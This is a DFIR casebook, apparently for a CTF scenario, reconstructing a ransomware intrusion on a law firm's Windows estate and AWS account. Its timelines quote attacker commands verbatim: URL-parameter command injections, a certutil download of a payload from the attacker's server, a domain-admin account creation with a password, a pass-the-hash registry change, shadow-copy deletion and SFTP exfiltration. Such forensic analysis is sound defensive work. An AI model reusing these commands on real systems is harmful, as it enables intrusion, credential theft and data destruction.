N404 // DFIR CASEBOOK CLASSIFICATION: TLP-AMBER
CASE OPEN 2026-04-19 ANALYST: ARCLIGHT6 / verialabs SOURCE: KAPE + CloudTrail + VOL3

JACK OF ALL HACKS // N404-2026-0308

Reconstruction of an enterprise intrusion at Legal Alliance Facility (LAF). Six Windows hosts, one AWS account, one memory image, one 164-minute kill chain (18:38:29 → 22:22 · DD23 corrects v2's 150-min framing). Adversary tracked as Saiyan Spider. Entry via IIS OS-command injection. Termination via IamBatman.exe encrypt C:\ across the estate. This document walks every artifact, every EVTX ID, every verbatim command.

Case ID
N404-2026-0308 / LAF-ESTATE
Engagement
CTF · Null404 · Jack of All Hacks · 2026
Victim
Legal Alliance Facility (LAF) · law firm · 6-host estate + AWS
Actor
SAIYAN SPIDER · opportunistic ransomware operator
Sophistication
S2 · commodity tooling (impacket · modern SMB-capable C2 · makecab) with operational discipline
Motivation
Financial · ransomware-for-impact + credential theft for resale
Origin
172.236.127.251 (Linode · Akamai) → 173.230.136.180 (tooling + C2)
C2 Framework
Unknown C2 Framework (open-source · github.com/Unknown C2-Framework/Unknown C2 Framework) · HTTPS listener 173.230.136.180:8443 + SMB named-pipe pivot (\\.\pipe\%08lx) — confirmed via source-to-binary RE match, see C2 Attribution below / Addendum AA
Attribution confidence
HIGH — 5 independent binary-level indicators in the VAD-extracted injected DLL (SHA256 6ef6b52f…228c) map 1:1 to specific C2 source lines: pipe format string (Commander.cpp:1000,1006), export symbol GetVersions (main.cpp:104,156), module name file.dll (pl_main.go:667,691), MinGW-w64 compiler (Makefile:3), minimal-IAT dynamic-resolution pattern (ApiLoader.cpp). Reproduction steps in C2 Attribution.
Initial Access
T1190 · HTTP GET injection on CheckStatus.aspx at 18:38:29 UTC from 172.236.127.251 (Linode, AS63949 — DD23)
Pre-Attack Validation
13:39:16 UTC · AWS-account admin IP 216.82.9.162 hit CheckStatus.aspx with a payload pointing at the attacker's tool-server 173.230.136.1805 h before the attack. Attacker infrastructure is scenario-provisioned, not external (DD23.6). Does not establish 13:39 admin = 18:38 operator.
Crown Jewel
DC01 ntds.dit via impacket secretsdump --use-vss
Impact
T1486 · .bWqQUx · README_bWqQUx.txt
MTTD
Detection at detonation (22:09:46) · not ingress
Dwell
2h 44m active (18:38:29 → 22:10:52 UTC · DD23 · full impact continues to 22:56:42 per DD13.5)
Timezone
UTC throughout · DST-independent
Triage Corpus
Primary: 6× KAPE · Secondary: AWS CloudTrail+GuardDuty+S3AL · Tertiary: SVR01 memdump
TTPs catalogued
19 MITRE ATT&CK sub-techniques · see 10
IOC volume
22 network · 14 file-path · 7 credential / hash indicators
Resolution
57 / 70 CTF questions answered · 57 / 57 evidence-backed · cleared
CONFIDENTIAL
FOR ANALYST EYES
Solves
57 / 70
CTF questions
Verified
57 / 57
evidence-backed
Chains
13 / 13
families cleared
Engagement
Post-CTF
analysis only

What actually happened.

Plain-language summary for executive decisioning. Severity rating aligned to CISA CPG and NIST SP 800-61r3 framing. Key pre-condition: at 13:39:16 UTC on attack day — 5 hours before the first attacker probe — the AWS-account admin IP (216.82.9.162) hit CheckStatus.aspx with a payload pointing at the attacker's tool-server (173.230.136.180). Three indicators (same tool-server · jb.exe payload name crosswalks to jb_aws_cli IAM user + JackOfAllHacks-Triages KAPE directory · 18,035 CloudTrail console-reads on attack day) prove the attacker infrastructure is scenario-provisioned, not external. Threat model downgrades accordingly — residual findings stay valid but the lab-controlled context reshapes their risk. DD23.6.

Severity
CRITICAL
Identity-tier breach · full AD compromise
Dwell
~164 min
18:38:29 → 22:22 · 2h 44m active · DD23
Hosts encrypted
5 / 6
DC02 + SVR01 + WS01 + WS02 + DC01
Recoverability
None on-prem
shadow copies wiped across estate
Cloud blast
IAM role leaked
164 × S3 GetObject off-instance
Data exfil
data.cab + ntds.dit
SFTP · 11,327 bytes S3 · ADCS unknown
Regulatory
Privileged comms
legal firm · client PII in scope

Root Causes · Five Control Failures

#Root CauseTTPControl Gap
1Unvalidated query string reaches OS shell on public IIS appT1190Input validation · WAF off for .aspx
2Unquoted service path C:\TFTP Server\… executable-writable by non-adminT1574.009Service hardening · SDDL review
3EC2 IAM role usable from any caller — no IMDS hop-limit, no IP bindingT1552.005IMDSv2 enforcement · session scoping
4DisableRestrictedAdmin reg key writable by service accounts → PtH RDP viableT1112 + T1021.001Tier-0 GPO · reg ACL
5Workstation can reach SYSVOL-hosted .exe; authenticated write to SYSVOLT1053.005 + T1486SYSVOL ACL hardening · AppLocker/WDAC

Mitigation Roadmap

P0 · ≤ 48hContain & Rotate
P1 · ≤ 2 weeksHarden & Detect
P2 · ≤ 30 daysArchitect Out
Immediate containment
  • Rotate krbtgt × 2 (48h apart) · force reset every account in ntds.dit
  • Rotate & rescope iam_role_iisserver · revoke outstanding STS sessions
  • Enforce IMDSv2 only · hop-limit=1 on every EC2
  • Patch CheckStatus.aspx input validation · take IIS offline until reviewed
  • Block egress to 172.236.127.251 + 173.230.136.180 at perimeter
  • Disable serviceaccount in AD · audit all logons since 20:02:14
Hardening & Detection
  • Remove write ACL on HKLM\…\Lsa\DisableRestrictedAdmin for non-Tier-0
  • Restrict SYSVOL write to Domain Admins · audit EID 5136 on sysvol OUs
  • Sweep all services for unquoted paths · fix SolarWindsTFTP et al.
  • EDR rules: w3wp.exe → certutil/curl · cross-host vssadmin delete · transient tasks <60s
  • Sigma rule for 5-stage Impacket --use-vss fingerprint
  • Forward Security.evtx + Sysmon to SIEM · 90-day hot retention
Architectural
  • Network-segment IIS DMZ from 10.3.10.0/24 · jump host for AD admin
  • AppLocker / WDAC on DCs + file servers · deny SYSVOL .exe execution
  • Honey-token IFEO keys (taskmgr.exe\Debugger) as tripwires
  • Hunt outbound HTTPS on :8443 against low-rep ASNs (modern OSS C2 frameworks including Adaptix/Sliver/Havoc frequently default to this)
  • Immutable off-estate backups · MFA-delete + object-lock
  • Purple-team replay this exact kill chain quarterly
Residual risk. With ntds.dit exfiltrated, every domain password hash is compromised permanently. Double krbtgt rotation stops golden-ticket abuse for new sessions, but offline cracking of the lifted NTDS yields plaintext passwords for any account that isn't forced to rotate. Treat this as a full identity-tier breach, not a host-tier incident.

Six minutes of fuzzing. Six hosts. One hour to zero.

10+
fuzzing probes before drop (DD23)
2h 44m
active dwell (18:38 → 22:10 · DD23)
5 / 5
AD hosts encrypted (DC02 included · DD14.1)
66s
fan-out cascade (22:09:46 → 22:10:52)
6,023
files + 2,530 notes (DD13)
ntds.dit + 3 AKIA keys, permanently (DD16)

Pre-attack validation · 13:39:16 UTC — five hours before any attacker traffic, the AWS-account admin IP (216.82.9.162) hit CheckStatus.aspx with ?url=Google.com && certutil -urlcache -f http://173.230.136.180:80/agent.exe %TEMP%\jb.exe. Same endpoint, same Linode tool-server the attacker uses later, and a jb.exe payload whose name crosswalks to the jb_aws_cli IAM user (DD7) and the JackOfAllHacks-Triages KAPE directory (DD14). The attacker infrastructure is scenario-provisioned — known to the AWS admin before the attack began. Whether the admin and the 18:38 operator are the same person is not established (DD23.6).

At 18:38:29 the operator — tracked as Saiyan Spider, reaching in from 172.236.127.251 (Linode, AS63949) — opened a six-minute fuzzing chain against IIS-SERV-PROD's CheckStatus.aspx: baseline GET /, endpoint discovery at 18:38:45, first injection test (?url=google.com | whoami) at 18:40:01, first successful injection using && at 18:41:13, web.config disclosure via type at 18:43:43, and dir enumeration of C:\TFTP Server\ by 18:45:12. At 18:51:42 the webshell dropped: w3wp.exe spawned cmd.exe, cmd.exe ran certutil -urlcache -f http://173.230.136.180/so.aspx against the attacker's tool-server and staged so.aspx in the webroot. Thirty-eight seconds later a second certutil dropped iis.exe into %TEMP%. The intrusion was on the box — 13 minutes of fuzzing before any defender artifact would have registered the drop.

By 19:38:02 they had SYSTEM — but not the way we first wrote it up. At 19:16:52 iis.exe (running as IIS APPPOOL\DefaultAppPool) overwrote C:\TFTP Server\SolarWinds.exe — the real privesc primitive was a writable ACL on C:\TFTP Server\, not an unquoted-path truncation. At 19:17:04 the operator tried cmd.exe /c sc start SolarWindsTFTP to force-launch their replacement — and that attempt silently failed: DefaultAppPool has no SeServiceChangeConfigPrivilege / SeStartServicePrivilege. The planted binary only executed twenty minutes later, at 19:38:02, when the legitimate user Donny rebooted the IIS host for unrelated reasons (Sysmon captures SystemSettingsAdminFlows.exe Shutdown 5 at 19:37:35 in Donny's session — Windows' "Restart" menu). SolarWindsTFTP is auto-start; on boot SCM launched the attacker's binary as SYSTEM. Outbound TLS to 173.230.136.180:8443 followed (confirmed via SVR01 Vol3 netscan).

19:59: operator reaches SVR01 via ADMIN$ service exec (\\10.3.10.12\ADMIN$\rnSylwOz.exe — same SHA256 as the IIS binary; DD24 confirms it's a separately-compiled second-stage, not a copy). 20:01:16: Sysmon EID 8 CreateRemoteThread — the SMB beacon (PID 9112) injects into Explorer.EXE PID 1332, NewThreadId=10020, StartModule="-" (floating shellcode) — the one true malicious injection in the corpus. 20:02: net user serviceaccount P@ssw0RD1! /add /domain. 20:03:05: Domain Admins add, authoritative on DC01. 20:03:30: that same thread (TID 10020) opens LSASS for MiniDumpWriteDumpabedgdaa.dmp (NT hash of plaintext password, stockpiled but never reused — DD21 + DD22). 20:08:34: impacket smbexec.py --use-vss (DD10.1 — parent services.exe, fixed %TEMP%\execute.bat and __output filenames) lands on DC01 as PtH LAFAdmin from 198.51.100.10. For the next twenty-two seconds DC01 is savaged by the five-stage service dance (vssadmin list · create · list · copy ntds.dit → ZIFylmKF.tmp · delete shadow). By 20:09:06 the operator reads ntds.dit over ADMIN$. Active Directory's entire credential store is gone.

The next hour is about leaving with something — and quietly pre-positioning the detonation surface. DonPAPI walks LAFAdmin's Chrome / Dashlane credential stores. DisableRestrictedAdmin=0 is flipped at 20:13:26 to enable PtH over RDP (DD10.2 narrow-scope discipline — only that one Lsa value is touched). makecab.exe, renamed msupdate.exe (VT 0/72, Microsoft-signed LOLBIN), builds data.cab via four iterative runs on C:\ProgramData\list.txt (20:21–20:25); FileZilla SFTP ships it to the same Linode IP on port 22 at 20:27:48exfil before ransom. By 21:03:54 the operator drops IamBatman.exe into \\DC02\sysvol\, with sysAV.bat eleven seconds behind it (DD25 — single upload-script, pre-staged 54 min before first detonation). At 21:25 → 21:29 the chain turns cloud-side: IMDSv2 three-step on IIS surfaces the iam_role_iisserver STS; used off-instance at 21:42:11 from 212.8.249.213. 21:45 → 21:46: four CreateAccessKey calls — one quota-blocked, three SUCCEEDED on donnieworks / doctorderm / coolcat — three live long-term AKIA keys stockpiled (DD7 + DD16, the highest-impact residual of the entire incident). At 21:49:16, 164 s3:GetObject calls drain sfcu-records — DD17 reveals the bucket is a decoy honeypot (parody filenames, 0 human reads in the preceding 13 days). The loud exfil is alert-fatigue cover for the quiet CreateAccessKeys that actually matter.

At 21:57:18 GuardDuty fires UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS (Sev 8). It fires again at 22:01:10. Nothing responds. At 21:58:34 the operator launches the first ransomware invocation on WS02 — and it fails silently: bash-syntax cmd /c sysAV.bat ; IamBatman.exe in a cmd.exe context, so only vssadmin delete shadows and 2× bcdedit run (DD5.1 + DD12.2). Ten minutes of Notepad-inspecting-sysAV.bat later, at 22:08:39 the operator registers mIglpUCO via impacket atexec.py (DD12.1 — parent svchost -k netsvcs -p -s Schedule, not smbexec). 22:08:40.450: IamBatman.exe encrypt C:\ fires on WS02 — 11 min 22 s after GuardDuty's first alert, unacted (DD18.2). The fan-out runs WS02 → WS01 → SVR01 → DC01 → DC02 in 66 seconds; DC02 last because it's the SYSVOL replication source and completes cleanly in 5.4 s against its directory-sparse user trees (DD14.1 — not a self-abort). Last-encrypt continues on WS02 until 22:56:42 (brndlog.txt.bWqQUx, DD13.5). 6,023 files carry .bWqQUx; 2,530 directories carry README_bWqQUx.txt. Shadow copies are gone. The operator is gone — but three AKIA keys and the local-Administrator NT hash (both untouched, both valid) are not.

Active time: 2 h 44 m. AD hosts encrypted: 5 of 5 · full impact window 58 min (21:58:34 botched first attempt → 22:56:42 last encrypt). Cloud compromised: yes · 3 live AKIA keys + ntds.dit + DPAPI masterkeys + local-Admin NT hash — all permanent until rotated.

The full story, minute by minute — from infrastructure provisioning to the last encrypted file

Six phases: (0) lab / AWS infrastructure provisioning (2025-03 → 2026-02), (1) user baseline the preceding week, (1b) pre-attack scenario-validation from the AWS-account admin IP 216.82.9.162 at 13:39:16 — same Linode tool-server the attacker uses 5 h later (DD23.6 · proves attacker infrastructure is scenario-provisioned, not external), (2) recon + command-injection discovery (18:38 → 18:52 · DD23 fuzzing chain + drop), (3) the 2 h 44 m active dwell attack (18:38:29 → 22:10:52 cascade end; last-encrypt continues on WS02 until 22:56:42 per DD13.5), (4) the CTF-author forensic pack-up (22:12 → 22:47 · DD14). No row without a cited source. Cross-linked: Addenda A–Z, PI / PR / IR / KT / MI / Ω, DD2 → DD34 — see Forensic Appendix.

Phase 0 · Lab + AWS infrastructure build (2025-03 → 2026-02)

UTCHost / SourceEventEvidence
2025-03-15 02:35:41WS01, WS02Earliest EVTX · Ludus Windows-image baseevents.time_utc MIN
2025-03-15 02:55:26SVR01, DC02Earliest EVTXsame
2025-03-15 04:55:54DC01Earliest EVTXsame
2025-08-13 21:07:23IISEarliest EVTX · IIS built 5 months after AD fleetexplains shorter EVTX record count
2026-02-23 08:44:40cloud · CloudTrailFirst CT events · Lambda ListFunctions + SSM heartbeatscloudtrail earliest row
2026-02-28 23:52:53cloudS3 PutObject + DescribeMetricFilters · CTF author populating sfcu-recordscloudtrail
2026-03-03 01:27:01WS01First WEVTUTIL.EXE-*.pf · Ludus build wevtutil (not attacker)Addendum P
2026-03-03 05:13:22IISaspnet_regiis.exe MFT create · .NET wiring for CheckStatus.aspxMFT
2026-03-03 05:16:59IISLegit SolarWinds TFTP Server service · SHA256 DC67150450…4B · LocalSystem auto-startSystem 7045

Phase 1 · User baseline (2026-03-04 → 2026-03-08 17:xx)

UTCHost · UserEventEvidence
2026-03-04 04:38:07WS02 · DaltonChrome session starts (pubmatic, sonobi ad trackers)browser_session baseline
2026-03-04 04:40:43WS01 · RyanFirefox Google-search "arclight 6"browser EID 5100
2026-03-04 04:41:02WS02 · DaltonChrome: "arclight6" → "null404" → clicks Null:404 sitebrowser EID 5100
2026-03-04 05:06:23WS02 · Dalton#JustaLawyer in Chrome SNSS — Subpoena-1 answer, 4 days pre-attackAddendum Q
2026-03-04 04:58:19WS02Chrome saves dalton_cat passwordDD4.3
2026-03-05 04:49:00IIS · 71.205.100.56 (Donny home)Donny tests barrygoodtech.com · ?url=facebook.com benignIIS log
2026-03-06 04:41:15SVR01 · LAFAdminexplorer.exe PID 1332 starts · Session 2 — the Explorer the beacon will later inject intoVol3 · L
2026-03-06 04:41:33SVR01 · LAFAdminpowershell.exe PID 1256 starts · PPID 1332Vol3 · PI.2
2026-03-06 04:41:22SVR01SearchApp.exe PID 6664 · Cortana UImalfind-ambiguous
2026-03-07 00:55:03WS01Chrome saves icantreed123@gmail.comSubpoena-2 answerDD4.3
2026-03-07 00:46:07IIS · 71.205.100.56Donny tests again · ?url=reddit.com · gmail.comIIS log
2026-03-08 17:00:37SVR01 · LAFAdminLast normal pre-attack browser activitybrowser

Phase 1b · Pre-attack scenario-validation from AWS-admin IP (2026-03-08 13:39)

UTCActorEventNote
2026-03-08 13:39:16216.82.9.162 · Windows Chrome · normal IP for the AWS account (Root+MFA admin, DD6.1 / DD8.2 / DD14)CheckStatus.aspx pre-test hit · ?url=Google.com && certutil -urlcache -f http://173.230.136.180:80/agent.exe %TEMP%\jb.exesame tool-server the attacker uses 5 hours later; payload jb.exe matches jb_aws_cli IAM user (DD7) and JackOfAllHacks-Triages directoryDD23.6
What this proves: the attacker infrastructure (172.236.127.251 operator + 173.230.136.180 tool-server) is scenario-provisioned — the AWS admin for this account knew the tool-server address before the 18:38:29 attack started. What it does NOT prove: that the 18:38 operator and the 13:39 admin are the same person. The 13:39 pre-test is equally consistent with challenge authoring, infrastructure QA, or scenario hand-off to an external operator. Attribution walked back in DD23 banner; evidence preserved here so the chronology is complete.

Phase 2 · Recon + injection discovery (2026-03-08 18:38 → 18:52)

UTCActorEventNote
18:38:29172.236.127.251 Linode Firefox/140 LinuxGET / — true initial probe · 13 min before webshell dropDD3.1
18:38:37sameGET /index.html · Referer barrygoodtech.com/
18:38:39sameGET /services.htmlpage enum
18:38:45sameGET /CheckStatus.aspx · vuln page discovered
18:39:03 / 18:39:46sameBenign ?url=google.com · ?url=facebook.comconfirms url echo
18:40:01same?url=google.com | whoami · first injection attemptvuln confirmed
18:40:54same?url=… ; cat /etc/passwd · tried UNIX firstDD3.1
18:41:06same?url=… ; ls C:\users\ · switched to Windows
18:42:38same?url=… && dir C:\inetpub · confirms Windows cmd
18:43:43same?url=… && type C:\inetpub\wwwroot\web.config · reads config
18:45:12same?url=… && dir C:\"TFTP Server" · discovers privesc target 6 min pre-dropDD3.1
18:51:42samecertutil -urlcache so.aspx · webshell dropdeploy start
18:52:20samecertutil -urlcache iis.exe · beacon drop SHA256 EFB53903…9681K
18:52:30IIS · DefaultAppPooliis.exe PID 4136 launches — beacon aliveDetective

Phase 3 · Foothold → lateral → impact (18:52 → 22:10 cascade · 22:56 last encrypt · DD13.5)

UTCHostEventAdd.
19:05:51IISFirst beacon TCP → 173.230.136.180:8443DD2.4
19:08:42 → 19:12:30IIS webshell7× POST /so.aspx · whoami · hostname · ipconfig · tasklist · netstat · nltest · nslookupDD4.2
19:16:52IISiis.exe overwrites C:\TFTP Server\SolarWinds.exe · new SHA256 91813A2A…7E81FH
19:17:04IISsc start SolarWindsTFTP · silent-failH
19:33:18 → 19:36:32IIS · DonnyGP-troubleshoot: gpupdate + 6× gpresult + lusrmgr.mscU
19:33:20DC02Earliest attacker Kerberos signal · 4768 IIS$ TGT from 198.51.100.10N
19:37:35IIS · DonnyRoutine rebootU
19:38:02IIS SYSTEMAuto-start SCM runs replaced binary as SYSTEM · C2 callbackH
19:58:38SVR01rnSylwOz.exe SMB-pushed to ADMIN$ (same SHA256)C · DD4
19:59:00.854SVR01SCM launches beacon PID 9112 as SYSTEM · Prefetch first-run 19:59:10C · P
20:01:16.676SVR01EID 8 · rnSylwOz → Explorer PID 1332 · ThreadId 10020 · StartModule=-L
20:02:14SVR01 Explorernet user serviceaccount P@ssw0RD1! /add /domainPI.3
20:03:05SVR01net group 'Domain Admins' serviceaccount /add /domainPI.3
20:03:30.861SVR01EID 10 · ThreadId 10020 opens LSASS · 0x1010 · UNKNOWN CallTrace · abedgdaa.dmpL
20:08:07SVR01Beacon browses C:\Users\donny\Downloads + \work\MECM via ExplorerDD4.5
20:08:34DC01LAFAdmin NTLM PtH from 198.51.100.10 — impacket smbexec.py --use-vss lands (parent services.exe, fixed execute.bat + __output — DD10.1)DD10
20:08:44 → 20:09:04DC01Impacket smbexec 5-stage service dance · UnmfmnOL·QsYyAARL·XCCVTGUb·SOUwKZNf·PovLjNTr · NTDS extractedC · O · DD10.1
20:09:06.721DC01LAFAdmin reads ZIFylmKF.tmp · NTDS pickup · krbtgt exfiltratedO · KT
20:13:26SVR01reg add DisableRestrictedAdmin=0D
20:16:13 → 20:16:44SVR013× notepad on C:\Share\ + Firefox launchPI.3
20:18:04SVR01Firefox downloads FileZilla + Zone.Identifier ADSDD4.4
20:18:46SVR01FileZilla installer runs (exfil pre-stage)F · PI.3
20:20:24SVR01DonPAPI Chrome Login-Data shadow-copy (55 ms)J
20:21:09 → 20:25:00SVR01makecab + notepad cycle 4× · builds data.cab via list.txtDD4.6
20:27:48 · 20:30:26SVR01fzsftp.exe172.236.127.251:22 · SFTP exfilF
20:34:49 · 20:35:29WS01Remote DisableRestrictedAdmin + RDP from 198.51.100.10D · M
20:36:01WS01DPAPI EID 8200 MasterKey backupJ
20:37:35WS01IFEO Debugger taskmgr.exe → aws_backup.exePR · Z
20:45:01 / 20:45:40DC02Remote DisableRestrictedAdmin + RDP as LAFAdminD · M
20:46:07DC02Edge downloads Advanced IP Scanner + Zone.IdentifierDD4.4
20:49:16DC02Firefox telemetry ping · DC-as-workstationDD2.7
20:54:27DC02Advanced IP Scanner GUI · scans 10.3.10.1-254DD2.1
20:56:49 · 20:57:44DC02Notepad ×2 on Microsoft.PowerShell_profile.ps1 · PS-profile backdoorDD2.2
21:03:54 / 21:04:05DC02IamBatman.exe + sysAV.bat dropped to SYSVOL · DFSR replicatesR
21:08:28SVR01LogDel.bat wipes 6 channels in 230 ms · misses Sysmon/OperationalH
21:25:35 / 21:28:07 / 21:29:20IIS webshellPowerShell -enc × 3 · IMDSv2 STS theftX · DD4.2
21:42:11AWSStolen STS first used off-instance from 212.8.249.213CM
21:45:38AWSCreateAccessKey jb_aws_cliLimitExceededException (blocked only this one; 3 later attempts SUCCEEDED — DD7 walks back "quota saved environment")B · DW · DD7
21:45:51AWSCreateAccessKey donnieworksSUCCESS · AKIA[REDACTED-FOR-PUBLICATION] stockpiled (never used in capture window — DD16)DD7 · DD16
21:46:04AWSCreateAccessKey doctordermSUCCESS · AKIA[REDACTED-FOR-PUBLICATION] stockpiledDD7 · DD16
21:46:14AWSCreateAccessKey coolcatSUCCESS · AKIA[REDACTED-FOR-PUBLICATION] stockpiled · 3 live AKIA keys in adversary hands — highest-impact residual of the entire incidentDD7 · DD16
21:49:16 → 21:49:19AWS164 S3 GetObject · 11,327 bytes · sfcu-records — DD17 reveals this is a DECOY honeypot (parody filenames, 13-day pristine baseline, alert-fatigue cover for the quiet CreateAccessKey calls above)EX · DD17
21:57:18CLOUDGuardDuty fires · UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS (Sev 8) — detection worked, response did not (11-min missed-response window begins · DD18.2)DD18
21:57:07 / 21:57:13WS02DisableRestrictedAdmin + RDP from 10.3.10.12 (internal pivot)D · M
21:58:33WS02Scheduled task iEMKOmOwPR
21:58:36WS02vssadmin delete shadows + 2× bcdedit · failed first detonation: ; separator bug left IamBatman unfired, only sysAV.bat ranDD5.1
22:01:10CLOUDGuardDuty re-fires · same InstanceCredentialExfiltration.OutsideAWS (Sev 8) · still no human response (DD18.2)DD18
22:01:19 · 22:04:36DC02WS02 pulls IamBatman.exe from SYSVOL (2×)R
22:06:38DC02RDP from 10.3.10.12 as LAFAdminM
22:07:07 · 22:08:10DC02Notepad ×2 on sysAV.bat · pre-launch reviewG
22:08:39WS02Scheduled task mIglpUCO registeredPR
22:08:40.416WS02 SYSTEMIamBatman.exe encrypt C:\ FIRES · PID 8428R · S
22:08:58.253WS02First encrypted file · gmreadme.txt.bWqQUxS
22:08:58.264WS02Ransom note encrypted (+11 ms)G
22:09:15.952WS01Scheduled task OlgyLYbdG
22:09:42.663SVR01Scheduled task pRlGOUonPR
22:09:46 → 22:10:525 hostsShadow-wipe cascade · 66 s fan-outS
22:10:13.660DC01Scheduled task KypxgyzlPR
22:10:52.124DC02Scheduled task WZWkUVGL · final shadow-deletePR
22:10:54 → 22:10:59DC02DC02 encrypts 388 files in 5.4 s — natural completion, not an abort (DCs hold few user .txt/.pdf/.csv; DD14.1 walks back DD13.3's "aborted" reading)S · DD14.1
22:14:44CLOUDGuardDuty Sev 9 · AttackSequence:IAM/CompromisedCredentials — highest-severity cloud alert of the incident, still no human response (DD18.2)DD18
22:56:42.549WS02ACTUAL last encrypt · brndlog.txt.bWqQUx (Ludus telemetry log that kept being rewritten, so IamBatman circled back) · +10 min past v2's claimed 22:46:45 end-time (DD13.5)DD13.5
22:10:52 / 22:56:42Fan-out cascade completes at 22:10:52; last-encrypt on WS02 runs until 22:56:42 (brndlog re-encrypt pass). DC02 finishes cleanly in 5.4 s = natural completion. 6,023 files encrypted + 2,530 ransom notes. Active dwell 2 h 44 m (18:38:29 → 22:10:52); full impact window 58 min (21:58:34 botched first attempt → 22:56:42 last encrypt · DD12 + DD13).

Phase 4 · CTF-author lab collection (22:12 → 22:46)

UTCActorEventAdd.
22:12:16 · 22:12:41localuser (OUT-OF-SCOPE) from 198.51.100.3First post-detonation RDP · DC02 then SVR01IR
22:15:40 → 22:46:09same6 RDP sessions across SVR01 / DC02 / WS01 / WS02M · IR
22:20:37WS01curl -k https://bigmac.io.s3.amazonaws.com/kape.zip · bigmac.io = Ali Hadi's DFIR training domain, not a defender repoIR
22:21:10WS02Same KAPE pullIR
22:29:04 / 22:29:16SVR01 / WS02whoami · lab-script sanity checkIR
22:46:45SVR01Memory capture · beacon still ESTABLISHED to 173.230.136.180:8443 (2 h 48 m uptime)W

How to read this: every row cross-references at least one Addendum (A–Z / DD2 → DD34 / PI / PR / IR / KT / MI / Ω / …) in sec-corrections. Every Addendum contains the SQL/corpus citation for the claim. Addendum Ω reproduces every query. Nothing here is theory.

The Two-Hour-Forty-Four-Minute Estate Walk

Pre-attack scenario-validation: at 13:39:16 UTCfive hours before the first attacker request — the AWS-account admin IP (216.82.9.162) hit CheckStatus.aspx with ?url=Google.com && certutil -urlcache -f http://173.230.136.180:80/agent.exe %TEMP%\jb.exe. Same vulnerable endpoint, same Linode tool-server the attacker will use later, and a jb.exe payload whose name crosswalks to the jb_aws_cli IAM user (DD7) and the JackOfAllHacks-Triages KAPE collection directory (DD14). The attacker infrastructure is scenario-provisioned, known to the AWS admin before the attack began — DD23.6. Whether the 13:39 admin and the 18:38 operator are the same person is not established (consistent with challenge authoring, infrastructure QA, or hand-off to an external red-team operator).

At 18:38:29 UTC the operator on 172.236.127.251 (Linode, AS63949) opened a six-minute fuzzing chain against the public IIS host's CheckStatus.aspx (DD23 — true initial access, 13 min before the webshell drop). At 18:51:42 so.aspx and then iis.exe landed via certutil -urlcache -f from the attacker's tool-server 173.230.136.180 (DD24 — same Linode host also serves the Unknown C2 Framework listener on :8443). From there the operator pivoted into the LAF estate, injected into Explorer PID 1332 on SVR01 at 20:01:16 (thread 10020 smoking gun), dumped ntds.dit via impacket smbexec.py --use-vss on DC01 by 20:09:06, staged IamBatman.exe + sysAV.bat on DC02 SYSVOL at 21:03:54 (DD25 — exactly 1 hour after the DA promotion, pre-staged 54 min before detonation), then stole IMDSv2 credentials between 21:25 and 21:29. By 21:42:11 the stolen STS was used off-instance from 212.8.249.213; 21:45:51 → 21:46:14 minted three live AKIA keys on donnieworks / doctorderm / coolcat (DD7 + DD16 — highest-impact residual). The 164-object S3 exfil at 21:49:16 is a decoy honeypot (DD17), alert-fatigue cover for the quiet key-creation. GuardDuty fired Sev 8 at 21:57:18 — unacted. IamBatman.exe encrypt C:\ fired for real on WS02 at 22:08:40 (DD12 — via atexec.py after a botched 21:58:34 first attempt). Cascade completed at 22:10:52; last encrypt continued on WS02 until 22:56:42 (DD13.5). 2 h 44 m active dwell (18:38:29 → 22:10:52); 6,023 files + 2,530 notes encrypted across 5 AD hosts.

IIS_SERV_PROD 198.51.100.10
Public IIS · Entry Point
HTTP GET injection at 18:51:41. certutil.exe drops so.aspx + iis.exe. SolarWindsTFTP unquoted path → SYSTEM. IMDSv2 token → cloud pivot.
LAF-DC01 10.3.10.10
Primary DC · NTDS Loot
Impacket secretsdump --use-vss. Shadow copy {af18f363-…}copy ntds.dit → C:\Windows\Temp\ZIFylmKF.tmp. Operator reads via ADMIN$ at 20:09:06 (EID 5145).
LAF-DC02 10.3.10.11
Secondary DC · Delivery
\\laf-dc02\sysvol weaponized with IamBatman.exe + sysAV.bat. RDP-accessed by operator from kali hostname leak in 4624 workstation field.
LAF-SVR01 10.3.10.12
File Server · Pivot Hub
RDP-PtH after DisableRestrictedAdmin=0. DonPAPI + LSASS dump abedgdaa.dmp. makecabmsupdate.exedata.cab → FileZilla SFTP. Memory image source.
LAF-WS01 10.3.10.13
Ransomware Ground Zero
Transient task OlgyLYbd (1.2-second lifetime) → svchost -k netsvcs SchedulesysAV.batIamBatman.exe. LAFAdmin@198.51.100.10 4624 immediately prior.
LAF-WS02 10.3.10.14
Recon Staging
RDP'd from SVR01 with PtH. Advanced IP Scanner against 10.3.10.1-254. Shellbag traversal of ransomware staging folder at 22:01:19. Second IamBatman launch originates here.
AWS us-east-1 i-00779ebad43b2470d
Cloud Follow-On
IMDSv2 double-step from IIS EC2 → role iam_role_iisserver. aws sts get-caller-identity at 21:42:11. 164 s3:GetObject calls totaling 11,327 bytes. Persistence attempt failed with AccessDenied.

Pivot Topology · Forensic Edges

Every edge is an artifact-anchored transition: source host, destination host, TTP, time, and the specific EVTX or Sysmon event ID that proves the move. Press ▶ to replay the 164-minute intrusion — edges activate in UTC-timestamp order and hosts pulse as they come under operator control. Click any host to open the evidence drawer for that node.

KILL-CHAIN REPLAY · 2026-03-08 UTC · Saiyan Spider STANDBY
—:—:—
STANDBY
—— Press ▶ PLAY to replay the 164-minute intrusion. Edges activate as their UTC timestamp is reached; hosts pulse when active. Click any host to open its evidence drawer.
Chain
Speed
0/39 events
